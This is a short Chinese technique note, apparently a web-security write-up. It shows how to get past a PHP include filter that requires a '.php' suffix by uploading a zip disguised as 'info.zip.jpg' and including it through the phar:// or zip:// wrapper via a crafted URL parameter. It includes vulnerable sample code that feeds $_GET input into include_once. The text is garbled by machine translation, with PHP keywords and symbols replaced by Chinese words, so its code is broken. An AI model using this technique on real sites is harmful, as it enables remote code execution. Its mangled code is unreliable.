include_file美元可控,可以上传文件,
allow_url_include=关闭(不考虑远程包含)
if (,收取(,include_file 美元),,,,函数(,substr (include_file美元,大敌;4,),),==,“。php”,) ,,,,,,,{ ,,,,,,,,,,,,,,,include_once (, include_file 美元;); ,,,,,,,}
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
解决方案
强>
把php打包成zip,改名上传,比如名为info.zip.jpg
然后用phar流包装器包含,其中info.zip.jpg为zip文件名,info.php为zip压缩包内子文件名http://localhost/index.php?a=phar
://info.zip.jpg/info.php
测试代码:
echo “ini_get (allow_url_include):“.ini_get (“allow_url_include”)。“”; $ include_file=$ _GET [a]; if (,收取(,include_file 美元),,,,函数(,substr (include_file美元,大敌;4,),),==,“。php”,) { ,,,include_once (, include_file 美元;); } 其他的 { ,,,echo “file 犯错”; }
参考文档:http://php.net/manual/zh/phar.using.stream.php
p。
据php官方文档所述,最少需要php5.3才能使用,5.3之前需要拓展
如果不能用的话,还可以试试压缩流包装器(需要zip拓展),注意转义井号:
邮政编码://info.zip.jpg # info.php